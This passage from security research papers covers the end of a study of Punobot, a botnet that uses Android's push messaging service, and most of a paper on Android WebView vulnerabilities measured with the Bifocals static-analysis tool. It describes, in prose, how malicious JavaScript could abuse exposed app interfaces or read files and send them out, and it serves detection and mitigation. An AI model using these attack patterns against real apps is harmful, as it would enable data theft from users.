its PNS to eliminate vulnerabilities; i.e., no support for built-in user interfaces
and weak PNS request process in the service website.

First, Google only provides push messaging delivery, and does not provide a
graphic user interface (GUI). Developers are forced to implement GUI to show
push messages to device users. The developers usually use status notifications,
pop-up notifications, or icon notifications. By exploiting this weakness, attackers
can secretly send push messages the bot. To solve this problem, Google should
modify GCM to force that received push messages should be shown to users as
they are.

Second, developers can utilize the GCM service once they have Gmail
accounts. To decrease the chance of a developer abusing the GCM service, Google
should ask for more information such as the IP addresses or domain names of
developers.

Data Tracking-Based Approach. Unlike many normal PNS-based applica-
tions, Punobot sends sensitive information to the botmaster in the background.
Therefore, outgoing data by applications on a mobile device should be monitored
and a warning should be issued to users if sensitive information is being sent.
The research on monitoring data out such as TaintDroid [19] can be applied.

Permission-Based Approach. In this approach, permissions are checked prior
to the GCM service being used. Android applications must declare permissions
to utilize specific functions in mobile devices. To use the GCM service, developers
must specify the following permissions:

– com.google.android.c2dm.intent.RECEIVE
– com.google.android.c2dm.intent.REGISTRATION
– com.google.android.c2dm.permission.RECEIVE
– com.google.android.c2dm.permission.SEND
– ⊕package name∀.permission.C2D MESSAGE
– android.permission.INTERNET

To detect Punobot, the bot detector may use static analysis to check the above
permissions. However, this approach is restricted because normal PNS-based
applications can also have the permissions. Nevertheless, this feature can reduce
the volume of applications being monitored, and is thus useful for bot detec-
tors. In addition, combining this with other detection schemes will improve the
performance of the bot detector.

6 Related Work

PNS-Based Mobile Botnet. Recently, we found that Zhao et al. [20] have
studied a PNS-based mobile botnet overlapped with our study period. The inter-
esting characteristic of their botnet is that they use each mobile device as a server
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for sending push messages to exchange commands and registration IDs. No direct
communications from bots to a botmaster to deliver registration IDs bring the
robustness against detection. However, since several bots share the same API
key, Google can easily notice malice: accessing the same API key from diverse
IP addresses and geographical locations. To solve this problem, attackers need
a large number of API keys, which brings a scalability problem. Since Punobot
uses domain flux to cloak the IP addresses of C&C servers, it does not share
such a problem. In addition, they only show spam attacks but we implemented
private data stealing, spam, and DDoS attacks.

Abusing Notification Service. A notification service is a method to display
push messages and other events to users. Xu and Zhu [21] exploit this service to
show fraudulent notifications to users for phishing and spam attacks.

7 Conclusion

In this paper, we introduced a new mobile botnet called Punobot that utilizes
GCM, which is an official PNS in Android, as a C&C channel. Punobot is based
on GCM’s two vulnerabilities: (1) the registration process is vulnerable and
(2) applications can hide received messages from users. Without the changes
in GCM, Punobot can perform malicious activities, unnoticeably. Therefore, we
need to prepare countermeasures before such botnets evolve.
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Abstract. WebViews allow Android developers to embed a webpage
within an application, seamlessly integrating native application code
with HTML and JavaScript web content. While this rich interaction sim-
plifies developer support for multiple platforms, it exposes applications
to attack. In this paper, we explore two WebView vulnerabilities: excess
authorization, where malicious JavaScript can invoke Android applica-
tion code, and file-based cross-zone scripting, which exposes a device’s
file system to an attacker.

We build a tool, Bifocals, to detect these vulnerabilities and charac-
terize the prevalence of vulnerable code. We found 67 applications with
WebView-related vulnerabilities (11 % of applications containing Web-
Views). Based on our findings, we suggest a modification to WebView
security policies that would protect over 60 % of the vulnerable applica-
tions with little burden on developers.

Keywords: Security · Smartphones · Mobile applications · Static
analysis

1 Introduction

Mobile devices and platforms are a rapidly expanding, divergent marketplace.
Application developers are forced to contend with a multitude of Android mobile
phones and tablets; customized OS branches (e.g., Kindle Fire, Nook Tablet);
and a score of competing platforms including iOS and Windows Phone. Android
developers are responding to the challenge of supporting multiple platforms
through the use of WebViews, which allow HTML content to be displayed within
an application. At a high level, WebViews provide the same functionality as a
web browser, but allow full customizability with respect to how and what content
is displayed (e.g., navigation UIs, full screen, etc). These in-application browsers
allow developers to write code in platform-neutral HTML and JavaScript that
can be displayed by any device and version. Furthermore, application updates
become simple. Developers merely update the HTML content downloaded by an
application.

While convenient, these customized browsers can also pose a threat to appli-
cation security, as allowing web content to interact with the application increases
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DOI: 10.1007/978-3-319-05149-9 9, c© Springer International Publishing Switzerland 2014
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the application’s attack surface. We show in this paper that these problems
are real.

One feature of Android is that it provides a way for JavaScript in a WebView
to invoke Android application code, if this is enabled by the application. In
particular, the application developer can register an interface (an API to the
mobile application) that can be called by the JavaScript. This allows the web
page to access functionality and data exposed by the application. This may seem
safe, as typically developers use WebViews to display trusted websites. However,
it introduces a new risk [29]. If the user navigates the WebView to an untrusted
malicious website, the malicious page may receive access to potentially sensitive
application data. Similarly, if the application loads a page over HTTP and if
the user is using an insecure WiFi network, a man-in-the-middle could inject
malicious content into the page and mount a similar attack. Allowing JavaScript
to invoke application code breaks traditional browser security models.

In this work, we detail various WebView-based attacks and present our vul-
nerability identification tool, Bifocals. We ran the tool on a data set of 864
applications. Among the 608 applications that contain WebViews, we find that
over 20% of applications have the potential to give websites access to code. Of
these applications, we find 54% allow a user to navigate to malicious JavaScript
that could access application code.

Based on our findings, we recommend modifications to Android to address
these risks. Our experiments suggest that these modifications would protect more
than 60% of the vulnerable applications.

We make the following contributions:

– We build a tool to identify vulnerable WebViews.
– We measure the prevalence and impact of vulnerable WebViews.
– We suggest and evaluate solutions to mitigate these vulnerabilities.

2 Application and Web Interaction

To understand vulnerabilities in WebViews, we must first understand the fea-
tures provided by WebViews. The WebView class allows developers to display
data from web pages and files within the confines of the application, seamlessly
integrating web and application content. Through the WebView, not only can
developers set the content to be displayed, but they can also specify the layout
and behavior of the WebView (e.g., display the address bar, track the browsing
history, allow searches, etc.). Essentially, the WebView class allows a developer
to create their own custom, embedded web browser.

Alternatively, web content can be displayed by sending a request to a browser
application to load the content. We will focus on the WebView approach to
displaying web content as customizations in a WebView can lead to security
problems, while browsers are separate applications outside of an application’s
security boundary.1

1 We use the term “web browser” to specifically reference a device’s default web brows-
ing application and “WebView” to refer to developer customized views.
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Table 1. Select list of API calls used to customize WebView behavior

API call

setWebViewClient(WebViewClient client)

addJavascriptInterface(Object object, String name)

getSettings().setJavaScriptEnabled(. . .)

We discuss how WebViews are created and how they can be customized in
detail.

2.1 WebView API

The WebView API allows developers to display content in various formats. Web-
Views can load (1) web content using the HTTP or HTTPS protocols, (2) files
from the file system via “file://,” and (3) HTML via “data://.” By default, a
basic WebView does not execute JavaScript nor can the web content interact
with the application in any way. If the user clicks on a link within the Web-
View, the application is exited and the URI is loaded by the device’s default
web browser.

2.2 WebView Customizations

We discuss relevant WebView customizations that can be made by the developer.
We list the APIs in Table 1.
WebSettings (Javascript and File Access). Each WebView contains its own
WebSetting. The Android WebSettings class manages the settings of a WebView:

– Javascript execution in a webpage can be enabled by calling setJavaScript-
Enabled() on the WebSetting. By default, JavaScript execution is off.

– Access to the local file system (e.g. loading a file in a WebView) is enabled
by calling setAllowFileAccess(). By default, WebViews have file system
access.2

– Access to files by JavaScript running in the context of a file scheme URI is
enabled by calling setAllowFileAccessFromFileURLs(). By default, Web-
Views grant this access for API versions prior to Jelly Bean.

– Access to content from any origin by JavaScript running in the context of a
file scheme URI is enabled by calling setAllowUniversalAccessFromFile-
URLs(). By default, WebViews grant this access for API versions prior to Jelly
Bean.

WebViewClient (Navigation Ability). A WebView may or may not have
an associated WebViewClient. The Android WebViewClient class is an event
2 Regardless, access to an application’s assets and resources (located at file:///and-
roid asset and file:///android res) is always granted within each application.
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Table 2. How navigation events are handled, based on properties of the WebViewClient
(WVC)

Has WVC? shouldOverride()? Loaded in:

No N/A Browser
Yes Default WebView

Returns false WebView
Returns true Depends on impl.

handler that allows developers to specify how content is rendered. By subclassing
this client, the developer can specify what actions should be taken when the page
finishes loading, a resource is loaded, an error is received, etc. Most notably, it
allows the developer to specify the navigation behavior of the WebView (i.e.,
what action should be taken when the user clicks on a link in the WebView.) By
overriding the default shouldOverrideUrlLoading() method, the developer can
take different actions based on the contents of the URI. For example, a developer
may specify that the URI be loaded in the WebView if it is on a specific domain,
otherwise it launches the URI via web browser.

The default behavior of the WebView when the user clicks on a link in the
WebView depends on the WebViewClient. We show this in Table 2. A Web-
View without a WebViewClient launches the web browser. If the WebView has
a WebViewClient, the behavior depends on the shouldOverrideUrlLoading()
method. If the method is not overridden or it returns false, then URIs are
launched in the WebView. Otherwise, the behavior depends on the implementa-
tion of the method.

Interfaces (Code Access). Developers can also give web content access to the
application’s internal Java code. By calling addJavascriptInterface(Object
object, String name), the developer provides a handle to an application’s
interface to be used by JavaScript in loaded pages. For example:

WebView wv = new WebView();

wv.getSettings().setJavaScriptEnabled(true);

wv.addJavascriptInterface(new MyClass(), "mycls");

wv.loadURL("http://www.foo.com");

The above code creates a WebView where its web contents can invoke methods
in MyClass. Any webpage in the WebView can invoke the methods with this
JavaScript:

<script>

mycls.someMethod1();

mycls.someMethod2();

</script>

WebViews provide a way to meld applications with web content. Develop-
ers can allow JavaScript to invoke registered application methods, potentially
enabling application state to be altered on the fly; and they control how a
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user may navigate pages. These can be powerful mechanisms towards provid-
ing a rich, interactive user experience. However, they can also introduce security
vulnerabilities.

3 Attacks

The use of WebViews exposes applications to a larger attack surface. We discuss
two types of vulnerabilities we identified: excess authorization and file-based
cross-zone scripting, and the relevant threat model for attackers to exploit these
vulnerabilities.

3.1 Threat Model

We assume developers are not malicious, though they may have varying levels
of expertise in developing on the Android platform. While the application itself
is trusted, web content and the open network it passes over should not be. We
will discuss this in greater detail as we explain each vulnerability.

3.2 Excess Authorization

When a developer enables JavaScript execution and registers interfaces to a
WebView, JavaScript content in the WebView can invoke the registered inter-
faces. If malicious third-party JavaScript gets loaded in the page, then it too
can invoke the application’s registered Java code. As authorization is actually
granted to more web content than intended, we call this an excess authorization
vulnerability. This general attack was introduced by Luo [29]. We develop vari-
ations and design and conduct a large-scale measurement study to understand
the prevalence of this vulnerability.

Repercussions. Access to the application’s Java code can lead to a variety of
security implications depending on the functionality of the Java code. Informa-
tion injection and leakage can occur if the invoked methods receives and returns
information, respectively. Malformed input parameters may be able to crash
the application, corrupt data, or otherwise launch a denial of service. Privilege
escalation can occur if the methods require privileges that are owned by the
applications [22,24]. Malicious JavaScript, in combination with other applica-
tion vulnerabilities such as inter-application messaging vulnerabilities [17], can
lead to attacks on other applications installed on the device. These are just a
few of the ways an attacker can wreak havoc on an application.

Attackers. We consider two threat models:

Malicious Third-Party Content. There are many ways malicious JavaScript
can appear in a WebView. Usually, the first-party content on the first page loaded
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is trusted. However, this page could also contain ads. Malicious ads contain-
ing JavaScript have appeared on popular advertising networks such as Google,
Yahoo, and The New York Times [5,6,13]. Another way third-party content can
be embedded in the page is through the use of frames. Finally, the user may
navigate to third parties via links (if allowed by the WebView’s settings). If any
of this third-party content is malicious, it could invoke the application interfaces
in ways the developer might not have anticipated.
Network Attacker. Another variation on this vulnerability is if the device is
on an insecure network. If any page or resource is loaded over an unencrypted
connection (i.e., over HTTP), then a man-in-the-middle attacker could inject any
page of his choosing as a response to the request and thereby inject malicious
JavaScript into the WebView.
Other Threats not Considered in this Paper. Even supposedly “trusted”
websites can present a threat. First, trusted parties may purposely include what
they think to be benign, third-party JavaScript. Nikiforakis et al. have shown
that over 88% of websites include at least one remote JavaScript library [30].
Malicious JavaScript could be included and could invoke the Android applica-
tion’s interface.

Additionally, “trusted” websites may also contain a cross-site scripting (XSS)
vulnerability that allows an attacker to load malicious JavaScript in the page [18,
20,27]. Over 75% of web applications are estimated to be vulnerable to cross-site
scripting [33]. If a page loaded in the WebView is vulnerable to XSS, an attacker
may be able to exploit the XSS vulnerability to introduce malicious JavaScript
into the page and then attack the mobile application.

For the purposes of this study, we focus on malicious third-party content
and network attackers. Vulnerabilities in trusted websites can be inferred by
assuming that 75–88 % of websites may also pose a threat due to remote script
inclusion or XSS.

3.3 File-Based Cross-Zone Scripting

The Android WebView renderer treats everything loaded via a “file://” URL as
being in the same origin. This allows any content loaded via a “file://” URL to
read any file on the filesystem that the application can, including application
internal storage (which is not accessible to any other application) and, if the
application has permission, any file stored on the SD card. If the application
loads static content via a “file://” URL, and this content includes third-party,
untrusted JavaScript (or includes JavaScript over an unencrypted HTTP con-
nection), this JavaScript gains the ability to read all the files in the filesystem
that the application can.3

3 Caveat: In the latest release of Android, the Android OS was modified to require
developers to explicitly enable access to “file://” URLs, reducing the opportunity
for attack. For applications prior to Jelly Bean and for applications that do not set
the minimum OS version to Jelly Bean, access to files is still granted by default.
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If the JavaScript is requested over an insecure connection, a man-in-the-
middle attacker can inject malicious JavaScript. If the JavaScript is requested
over HTTPS, but from an external, potentially untrusted source, the JavaScript
itself could be malicious. Once malicious JavaScript is loaded, it can read files,
create a network connection, and send the contents back to the attacker.

The exposed surface for this attack is admittedly smaller than the excess
authorization attack. Only loaded files provide access to the vulnerability, and
once the user navigates away from the “file://” scheme, the attack can no longer
be launched. Similarly, the attack cannot be launched through a non-file frame.
As we find in our measurement study, file-based cross-zone scripting vulnerabil-
ities are fortunately fairly rare.

4 Bifocals

We present a tool, Bifocals, which closely examines two aspects of WebView
interaction, the application and the web content, to automatically identify Web-
View vulnerabilities in Android applications. In Sect. 4.1, we describe how we
analyze Android applications to identify at-risk WebViews. In Sect. 4.2, we
describe how we crawl and analyze the web pages loaded into WebViews, to
determine whether an attacker may be able to inject malicious Javascript into
the WebView. In Sect. 4.3, we describe how we put these parts together to deter-
mine the potential impact of an attack.

4.1 Application Analysis

The first step of the tool is to detect potential WebView vulnerabilities.
Policy. If a WebView enables JavaScript, registers a JavaScript interface, and
loads a URI, then it may be vulnerable to an excess authorization attack (depend-
ing on the content loaded). WebViewClient settings determine whether a user can
navigate away from the page while staying within the confines of the WebView.
This increases the potential for attack because every page a user navigates could
also contain malicious JavaScript, as opposed to just the initial landing page.
Implementation Details. Applications for the Android platform are com-
prised of Dalvik executable (DEX) files that run on Android’s Dalvik Virtual
Machine. We first disassemble application DEX files and extract XML content
and file resources packaged with the application using the publicly available
Dedexer [31] and Baksmali tools [12].

Bifocals statically analyzes the disassembled output. Static analysis is a com-
mon approach for bug finding [16,28,37]. Bifocals specifically performs flow-
sensitive, interprocedural static analysis. For optimization purposes, we limit the
method invocation tracking to a nesting depth of three. Experimentally, we have
not seen any cases where WebView information is propagated more than three
levels deep. Bifocals tracks the state of WebViews (and WebView subclasses),
WebViewClients (and WebViewClient subclasses), strings, numbers, and any
relevant fields, parameters, and return values.
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For each method that uses WebViews, Bifocals determines:

1. Whether JavaScript execution has been enabled for the WebView
2. If it allows JavaScript, what interfaces are made accessible to the JavaScript
3. The URI that is being loaded
4. Whether a user can navigate to other webpages within the WebView (by

evaluating the implementation of any methods that override WebViewClient.
shouldOverrideUrlLoading())

In most cases, these properties are determined by tracking information to the
WebView (string value, numbers, classes, etc.). Determining the fourth property
requires a little more explanation. In addition to implicitly setting a navigation
policy via the presence of the WebViewClient or using the default behavior of
theWebViewClient.shouldOverrideUrlLoading()method,developersmayalso
apply apolicy for navigationbehavior through code in theWebViewClient.should
OverrideUrlLoading() implementation.Weapplyaheuristicto infernavigability.
If the implementation of this method returns false, then users can navigate within
the WebView. If the code for this method (or any methods called within the code
for this method) contains a load URI call, then users can navigate within the
WebView, unless it also contains a message invocation to launch the web browser.
In that case, the developer has set a hybrid policy (e.g., loading the page in the
WebView if the domain is mysite.com and launching the browser otherwise), and
we conservatively consider that any new URIs will launch the browser (limiting
the navigability, and thus, the attack opportunity).

These vulnerable WebViews and the URIs loaded into them are passed to
the web analysis portion of the tool.

4.2 Web Analysis

The second stage analyzes the URIs (websites, files, and data) that are being
accessed to determine whether they might embed or navigate to third-party
content.
Policy. For each URI, Bifocals examines the page for potentially malicious
third-party content. We focus specifically on attack scenarios where malicious
JavaScript may be included in the WebView via website content, insecure net-
works, and user navigation and not via the exploitation of XSS vulnerabili-
ties. Although third-party content can encompass many forms of content (e.g.,
images, scripts, frames, etc.), we limit the definition of potentially malicious
third-party content to content that can lead to the execution of untrusted script.
We classify ads and frames that load third-party sites as potentially malicious.
Ads can be supplied by anyone and can contain JavaScript. Similarly, frames that
load external content are considered untrusted. We ignore third-party images and
other content that does not contain or execute script. We also ignore non-ad-
related JavaScript (e.g., non-ad <script src=...>) unless it is embedded in a
third-party page. Many webpages include popular, trusted third-party JavaScript,
such as Google Analytics, Facebook’s “Like” button, etc., and we assume these
are intentional and we do not treat them as potentially malicious.
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If a WebView is navigable, we apply the same evaluation to all pages tran-
sitively linked from the landing page (to a depth of three). Additionally, if the
user can navigate to a third-party page (via links) in the WebView, we classify
it as potentially malicious.

We assume that the primary website being visited and sites within the same
domain are trustworthy, as well as anything belonging to the same second-
level domain (the domain directly below the top-level domain in the DNS).
For example, suppose a WebView loads http://mysubdomain.mysite.com. The
domain mysubdomain.mysite.com, its second-level domain (SLD) mysite.com,
and other subdomains of it (e.g., myothersubdomain.mysite.com) are most
likely under the same jurisdiction and therefore we treat them all as trustworthy.
This trust is similar to the implicit trust of cookie setting between a subdomain
and its parent domain [4]. In the case of domains with country codes, we take
the third-level domain (e.g., http://blogs.telegraph.co.uk’s trusted domain
would be telegraph.co.uk.).
Implementation Details. To perform this analysis, we build on a basic web
crawler built as a Firefox extension [25]. Given a URI, this crawler invokes Fire-
fox, loads the page, and returns redirect information and the HTML source
(including the frame source). We modified the extension to also log links, frames,
and links within frames.

To identify ad content, we incorporated and modified the Adblock Plus exten-
sion [1]. Adblock Plus is a browser extension that parses pages and identifies
and removes ads. For every network request required to load a page, it invokes
a JavaScript function shouldLoad() that returns whether that content is an
ad and should be loaded. We modified Adblock Plus in two ways. First, we
modified the shouldLoad() function to log the content type (e.g., script, image,
document, subdocument, etc. [9]), request origin, and target location. Second,
we always allow the content to be loaded but log when an ad is identified.

To simulate a mobile browser, we modify the Firefox preference file (prefs.js)
to set the user-agent string to the user-agent of an Android browser. This way,
the web behavior returned by the request is the mobile behavior, not the desktop
browser behavior.

Finally, we modify URIs before loading. For URIs that load data, we prepend
the HTML with data:text/html, so that the browser loads the data string as
a data URI. For URIs that load data with a relative base URI, we prepend the
HTML with data:text/html,<base href=‘‘ + theBase + ”> to ensure that
the browser renders the data and resolves all relative references.

The crawler then crawls the URIs that could be loaded into the WebView. If a
vulnerability is identified or the WebView that the URI is from is not navigable,
the crawling for that URI ends. Otherwise, the crawler repeats the page analysis
for all links in the page and frames with the same SLD as the original URI or
its redirects. We limit the crawling link depth to three for feasibility reasons.

Results from the crawler and the application analysis are then combined to
identify WebViews that are fully vulnerable to the excess authorization attack.
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We identify file-based cross-zone scripting attacks by checking if any of the
loaded file URIs (regardless of whether interfaces are registered) contain third-
party JavaScript.

4.3 Impact Analysis

There are many ways to examine the impact of a vulnerability. As discussed in
Sect. 3.2, an attack on a WebView could result in information leakage, informa-
tion injection, DoS, etc. One way to measure impact is to examine how many
privileged resources an attacker would gain access to. We do this by analyzing
the code invoked by the interface and determining the permissions required to
execute that code.

We built a tool to determine what Android APIs a registered interface tran-
sitively grants access to (through invocation) and the permissions they corre-
spond to. Given an interface, we analyze all methods that can be accessed in
that interface (namely, all public methods and any superclasses’ public meth-
ods). We assume that the attacker can determine public methods via reflection
or direct analysis of the target application.

For each of the directly accessible methods, we recursively analyze the meth-
ods invoked by the method and the Android API calls made in the method. If an
interface method returns an object of a different class, we analyze that object’s
public methods as well. We apply an Android API-to-permission map [21] to
determine the set of permissions used by the reachable code. To determine the
permissions used by non-API calls, Android message passing, Android databases,
and code invoked via Java reflection, we modify Felt et al.’s Stowaway tool [21]
to identify and output the methods in which these permissions are used. If those
methods are reachable, then we add the corresponding permissions to the per-
mission set. We include both normal and dangerous permissions in the set of
permissions used.

4.4 Limitations and Discussion

Platforms. There are alternatives to using Firefox extensions to perform a web
crawl. We could have used a command-line tool (e.g., wget), however this has
limitations on the information received from the page. We chose a full-featured
web browser which allowed us to leverage the existing Adblock extension, parse
the loaded DOM in real-time, and fully render the content.

We chose to run this on a desktop computer with modifications to the browser
preferences to spoof a mobile browser, as Firefox is more robust and efficient
in crawling pages at scale. Given the massive amounts of meta-data produced
from the crawl (from a large data set), performing the crawl on a mobile device
would present challenges of dealing with a less robust, memory- and space-
limited operating system. While it is possible for websites to rely on fields other
than user-agent to determine whether it is running on a mobile device (and
change content accordingly), user-agent is by far the most commonly used field.
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In fact, we investigated the possibility of alternate indicators (e.g., JavaScript’s
Navigator.platform or Navigator.appName), but we observed only the user-
agent being used in the websites we crawled. Even if websites were modified
based on different Navigator fields, it is more likely to change the layout, not
the nature of the content (frames, ads, etc.), and therefore it would not impact
our results.
Ad Networks. Although we identify ads as potentially malicious, some ad
networks may prohibit JavaScript from advertisers. We did not further classify
ad networks based on whether a third-party advertiser could include JavaScript.
Crawling. One of the limitations of our crawling approach is the possibility of
false negatives. Web content is dynamic. An ad or other third-party JavaScript
may not always appear on a given page. To address this, we crawled each page
three times.

Another potential source of false negatives is the inability to crawl all content.
We limited the crawl depth to three links, but untrusted JavaScript may be on
a page that our tool did not crawl. Websites might prevent our crawler from
seeing the content behind a pay-wall or login-wall. In this case, our crawler will
only analyze the login page. To address this, we would have to manually create
accounts, log in, and crawl the page.

Due to these limitations, our tool reports a lower bound on vulnerable appli-
cations. On the other hand, mobile applications change less frequently than web
content, and we can use the number of potential WebView vulnerabilities from
the application analysis to estimate an upper bound on the number of actual
vulnerable WebViews.
Static Analysis. A limitation to our static analysis approach is the risk of not
deriving the full URI. If a URI is comprised of strings that are obtained from
dynamic messages (Intents), from an API call that we do not handle, or from
system state (e.g., getting the device ID, getting accelerometer data), then static
analysis may fail to infer the full URI loaded into the WebView. Crawling an
invalid URI could result in a redirect to a different page. In most cases, we believe
that the redirected page would also be representative of the content that the page
would have displayed (in terms of using ads and linking to third-parties). We
additionally supplement missing data by substituting logical default values for
substrings that cannot be derived. For example, if float value that we do not
track is included in the URI, then a “1.0” is inserted in its place. Our tool also
does not attempt to handle implicit control flow or resolve Java reflection of the
WebView API, and this could lead to false negatives. Our tool, however, does
resolve Java reflection for the impact analysis which is more likely to contain
reflection. (Developers are unlikely to reflectively call the WebView API as the
API is already publicly accessible.)

We considered a dynamic analysis approach to Bifocals as an alternative
to our static approach. A dynamic analysis tool would be able to accurately
determine dynamically set variables and state. It would also be able to confirm
a vulnerability by exploiting it at run-time. However, it would be challenging to
explore the full application state space to traverse all WebViews and to generate
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valid input for malicious JavaScript. Additionally, some Android UIs cannot be
explored without user input (e.g., applications with logins). We chose a static
approach because it achieves better code coverage, increasing the possibility
of discovering vulnerabilities that may not have been exposed at runtime. We
leave the possibility of a combined static and dynamic approach to leverage the
benefits of both techniques for future work.

5 Evaluation

We ran Bifocals on 864 popular Android 2.2 applications to identify the preva-
lence of WebView vulnerabilities. The dataset consists of the 100 most popular
paid applications, 764 most popular free applications, and 100 recently added
free applications from the Android Market (as of Oct. 2010). After removing
duplicate applications, applications that only consisted of keys to unlock paid
features for free applications, and applications used for tool development and
testing, we were left with a set of 864 applications for analysis.4

5.1 Characterizing the Use of WebViews

Developer Use of WebViews. We first analyzed these applications to better
understand their use of WebViews. We found that 608 of the 864 applications
(70.4%) contained at least one WebView in the application. Of these 608 appli-
cations, 433 (71.2% of applications with WebViews, 50.1% of all applications)
contained at least one WebView in the core functionality of the application. Also,
351 applications (57.7% of applications with WebViews, 40.6% of all applica-
tions) contained at least one WebView displayed by an ad library in the applica-
tion.5 This suggests that use of web content in Android applications is common.

The web content displayed in a WebView can be hosted remotely or locally.
We analyzed all WebViews in these applications to identify what URI is initially
loaded into the WebView. In Table 3, we summarize the schemes used by these
applications. Overall, many applications load content over HTTP or via the data
scheme. Use of SSL is much less common.
Exposure of Interfaces. We further examined how many applications allow
JavaScript to invoke application code (by registering interfaces). We call these
authorized WebViews. As indicated in Table 4, of the 608 applications with Web-
Views, we find that one-fifth of these applications have at least one autho-
rized WebView. Furthermore, one-fifth of applications have authorized, core
4 We wanted to analyze both free and paid applications in order to avoid biases that

might be present in free applications. Therefore, we reused an existing dataset rather
than buying the applications a second time. It would be interesting to see if the
results differ if we were to repeat the same experiments on current applications.

5 In the rest of the section, we may shorten the phrases “WebView in the core func-
tionality of the application” to “core WebView” or “core application” and “WebView
in an ad library in the application” to “ad WebView” or “ad application.”
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Table 3. The types of URIs loaded into WebViews

Content loaded via: # of apps %

HTTP or HTTPS 345 56.7 %
http:// 335 55.1 %
https:// 15 2.5 %

Local static content (file/data) 374 61.5 %
file:// 103 16.9 %
data: (e.g., <html>. . .) 323 53.1 %

Table 4. Breakdown of applications that grant JavaScript code access by whether the
WebView is in the core application or ad library

Total Core Ad

Apps with WebViews 608 433 352
Apps with auth’ed WVs 120 85 38

% 19.7 % 19.6 % 10.8 %

WebViews, while 10.8% of applications have authorized, ad WebViews.6 This
suggests that many developers do use WebView APIs to grant web content access
to application content. The 38 applications with authorized ad WebViews can be
attributed to three distinct ad providers: Millennium Media [8], AdMarvel [2],
and Medialets [7].

In Table 5, we further break these authorized WebViews down by the scheme
of the URI initially loaded in the WebView. Unsurprisingly, many of these Web-
Views load content over the HTTP protocol, and very few use SSL. The distri-
bution of schemes for these types of WebViews closely mirrors that for all Web-
Views, except that fewer of the applications loading content via data schemes
expose an interface (10 % vs. 16 %; p = 0.025, Fisher’s exact test).

Among the 85 applications that expose interfaces to core WebViews, 34 appli-
cations (40%) have WebViews where the user can navigate within the WebView,
while 51 applications (60%) have WebViews that limit navigation (by launch-
ing subsequent URLs in a browser application). This is promising, as it shows
that a majority of the applications have reduced their potential attack surface.
However, restricting navigation does not fully eliminate the risk if the first page
includes third-party frames or JavaScript.

5.2 Automated Analysis

In summary, Bifocals found 67 applications (11.0% of applications with Web-
Views, and 55.8% of applications with authorized WebViews) that are vulnerable
to at least one of the attacks presented. The high rate of vulnerabilities suggests
that the Android WebView interface is error-prone and exposing APIs to web
content is particularly risky.
6 The sum of the applications with core and ad WebViews exceed the 120 applications

as some applications have both core WebViews and ad WebViews.
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Table 5. Breakdown of authorized applications by the URI scheme used

Authorized WVs by URI scheme # of Apps

http:// 57 (47.5 %)
https:// 2 (1.7 %)
file:// 19 (15.8 %)
data: 32 (26.7 %)

Table 6. The number of vulnerable apps found by Bifocals

Vulnerability Core Ad Total

Network attack 32 33 65
Web attack 18 33 51
Total 33 33 66

Excess Authentication Vulnerabilities. We summarize the number of vul-
nerable applications in Table 6. We evaluate ad and core WebViews separately,
as vulnerabilities in ad libraries can only be fixed by the ad provider, while vul-
nerabilities in the core application can be fixed by the application developer.
Also, patching one ad library could secure multiple applications while patch-
ing vulnerabilities found in core WebViews must be done individually by each
affected developer.

Network Attacker. We found 65 applications (54.1% of applications that reg-
ister interfaces) that are vulnerable to an excess authorization attack if used
while connected to an insecure network.

The impact of these vulnerabilities varies. For 18 (56.2%) of the 32 appli-
cations with this type of vulnerability in a core WebView, a network attacker
gains access to API calls that use one or more Android permissions available
to the application. Thus, the attacker may be able to take actions that would
not be available to arbitrary web content. None of the ad libraries’ WebViews
give access to API calls that require permissions, so those vulnerabilities may
have lower impact. It is important to note that access to permissions is only
one metric to measure impact. Several other attacks may be possible even on
applications whose API does not use any special permissions.
Web Attacker. Bifocals found 51 applications (42.5% of applications that reg-
ister interfaces) that are vulnerable to attack through malicious websites.

Many of these vulnerabilities grant a malicious website abilities that we would
not expect web content to receive. 13 (72%) of the 18 applications containing
a core WebView that is vulnerable to a web attack give the web attacker the
ability to invoke an API that uses one or more of the application’s Android
permissions. In contrast, none of the ad-based vulnerabilities allow attackers to
invoke code that uses permissions.

File-Based Cross-Zone Scripting Vulnerabilities. Our tool identified two
applications that load files with remote JavaScript. One of these is vulnerable
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to a network attack. The other makes requests over SSL from a trusted site,
making it resistant to attack.

Upon further inspection, we find that many files loaded into a WebView are
simple HTML pages with no need for JavaScript. For example, files may contain
EULAs, Terms of Service, and FAQ pages.

5.3 Manual Analysis

We randomly selected 10 applications (of the 18 applications with a web-based
excess authorization vulnerability in a core WebView) and manually analyzed
these applications to determine the false positive rate of Bifocals. For each
selected application, we examined the code, the loaded websites, and application
as installed on an Android phone. For each reported vulnerability, we confirmed
that Bifocals correctly inferred the APIs registered, URIs loaded, and navigation
capability of the WebView. For each loaded URI, we confirmed the crawler result:
that an ad, external frame, or site was found within the navigation constraints of
the WebView. We did not build an exploit. We manually analyzed 19 vulnerable
WebViews across 10 applications and found no false positives suggesting that
Bifocals’s false positive rate is likely below 5–10 %.

We now discuss a few applications and the vulnerabilities we discovered.
Alive. Alive is an application that displays Japanese cartoon images. It has a
feature that allows a user to browse for other applications to install. This con-
tent is displayed in a WebView, and the landing page and linked pages contain
ads. The registered interface provides code to download and install an applica-
tion. The expected use case is that a user can select an application and click
“download” which will download content at a specified URL and save it the SD
card. The user is then asked whether they want to install the application. If they
accept it, the code launches Android’s application installation process.

This introduces multiple risks. One possible attack is that a network attacker
or malicious advertisement could save arbitrary files to the SD card, by invoking
the registered API with a URL pointing to a site controlled by the attacker.
Also, an attacker could trick the user into installing a malicious application, if
the attacker launches her attack when the user is browsing an application they
are likely to install, or possibly through some other social engineering attack.

The Alive application has two other WebViews with vulnerabilities that allow
web content to be downloaded to the internal data folder instead of the SD card.
AIM. The AOL Instant Messaging application contains a vulnerable WebView
that accesses the READ PHONE STATE permission. The application provides an
interface to handle successful logins. An attacker (network or web) can use this
interface to control the values of the authentication token, session key, screen
name, profile URL, and icon URL. This data goes into an “IdentityPreference”
data structure which gets used throughout the application, making the applica-
tion vulnerable to information injection and potentially a CSRF login attack.
Ad Libraries. We also manually examined two of the three ad libraries with
potential vulnerabilities: Millennial Media and AdMarvel. The third, Medialets,
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was obfuscated. Millennial Media and AdMarvel are advertising services that
offer rich media ads. Both have registered interfaces that allow the web content
to modify the look and feel of the WebView (e.g., view size or layout settings).
While neither of these libraries’ interfaces invoke protected resources, an attack
can still be mounted. An attacker can resize the WebView to take up the whole
screen, increasing the chance that the user clicks on it.

Our tool was unable to determine the URLs for these WebViews (due to com-
plexities with URL generation), so we manually confirmed the vulnerability and
blacklisted the two libraries. It is possible that the obfuscated library, Medialets,
